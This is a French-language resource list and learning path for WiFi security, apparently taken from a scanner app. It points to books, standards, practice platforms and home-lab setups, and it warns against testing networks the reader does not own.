"802.11 Wireless Networks: The Definitive Guide" — Matthew Gast (O'Reilly)
"WiFi Hacking with Kali Linux" — Mark B. (initiation)
"The Hacker Playbook 3" — Peter Kim

Documentation technique :
→ IEEE 802.11 Standards (ieee.org)
→ WiFi Alliance Technical Specifications (wi-fi.org)
→ NIST SP 800-153 (Guidelines for Securing WLANs)
→ Mathy Vanhoef Research Papers (krackattacks.com, fragattacks.com, dragonblood.afahounko.com)

Blogs/Sites :
→ hackingarticles.in — Tutoriels WiFi détaillés
→ null-byte.wonderhowto.com — Guides pratiques
→ aircrack-ng.org/doku.php — Wiki officiel

🏟️ Plateformes de pratique

Tous niveaux Pratique

Environnements légaux pour pratiquer :

TryHackMe (tryhackme.com)
Rooms : "Wifi Hacking 101", "Wireshark 101", "Nmap"
Gratuit pour commencer, guidé, idéal pour débuter

HackTheBox (hackthebox.com)
Labs réseau et WiFi, plus challengeant

Votre propre lab :
1. Vieux routeur dédié (reset factory, WEP/WPA pour tester)
2. Raspberry Pi comme AP (hostapd)
3. VM Kali + carte WiFi USB en passthrough
4. GNS3/Eve-NG pour simuler des réseaux

CTF (Capture The Flag) :
Les CTF cybersécurité incluent souvent des challenges WiFi
→ ctftime.org pour trouver des compétitions

⚠ Ne JAMAIS pratiquer sur des réseaux qui ne vous appartiennent pas. C'est illégal (Art. 323-1 à 323-8 du Code Pénal en France).

🗺️ Parcours d'apprentissage recommandé

Guide Parcours

Étape 1 — Fondations (1-2 semaines) :
✅ Comprendre les bases réseau (TCP/IP, OSI, Ethernet)
✅ Lire les fiches "Fondamentaux" de ce scanner
✅ Installer Linux (Ubuntu ou Kali en VM)
✅ Premiers scans avec nmcli et iw

Étape 2 — Sécurité WiFi (2-4 semaines) :
✅ TryHackMe "WiFi Hacking 101"
✅ Comprendre WEP/WPA/WPA2/WPA3
✅ Auditer votre propre réseau avec ce scanner
✅ Apprendre Wireshark (analyser des pcap)

Étape 3 — Pratique (1-2 mois) :
✅ Acheter une carte WiFi compatible monitor
✅ Maîtriser la suite aircrack-ng sur votre lab
✅ Sécuriser votre propre réseau (checklist bonnes pratiques)
✅ Monter un lab avec Raspberry Pi

Étape 4 — Expertise (3-6 mois) :
✅ Lire les papers de Vanhoef (KRACK, FragAttacks, Dragonblood)
✅ Étudier hcxtools + hashcat pour le cracking avancé
✅ Participer à des CTF
✅ Préparer l'OSWP (OffSec Wireless Professional)

Scan en cours...